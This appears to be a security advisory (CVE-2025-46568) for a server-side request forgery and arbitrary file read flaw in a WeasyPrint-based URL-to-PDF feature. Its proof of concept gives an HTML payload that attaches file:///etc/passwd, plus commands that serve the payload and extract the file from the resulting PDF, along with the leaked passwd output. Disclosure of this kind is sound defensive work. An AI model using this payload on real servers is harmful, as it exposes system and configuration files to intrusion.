Server-Side Request Forgery (SSRF)-Induced Arbitrary File Read Vulnerability

High **Frooodle** published **GHSA-998c-x8hx-737r** on Mar 26

Package	Affected versions	Patched versions
No package listed	<0.44.3	0.45.0

Severity

High

CVE ID

CVE-2025-46568

Weaknesses

No CWEs

Description

Summary

Exploiting URL-to-PDF Functionality for Arbitrary File Read on the Server

Details

WeasyPrint redefines a set of HTML tags, including img, embed, object, and others. The references to several files inside the allow us to attach the content of any webpage or local file to our PDF.

PoC

We generate an HTML file and then upload it to the VPS.

```
<!DOCTYPE html>
<html>
<head>
<title>Captain</title>
</head>
<body>
<link rel="attachment" href="file:///etc/passwd">
</body>
<html>
```

```
root@                :~/test# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

A Python web service is started on the VPS, allowing the target to actively connect to our HTML file.

We will then obtain a PDF file containing the embedded passwd content.

Next, we use the pdfdetach tool to extract the passwd from the PDF file.

```
root@dkcjbOm1t95epdj:~/test# pdfdetach -list http___ _8080_1_html.pdf
1 embedded files
1: passwd
root@dkcjbOm1t95epdj:~/test# pdfdetach -save 1 http___ _8080_1_html.pdf
root@dkcjbOm1t95epdj:~/test# cat passwd
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
stirlingpdfuser:x:1000:1000::/home/stirlingpdfuser:/sbin/nologin
root@dkcjbOm1t95epdj:~/test#
```

Impact

This allows the attacker to read any file on the server, including sensitive files and configuration files. All users utilizing this feature will be affected.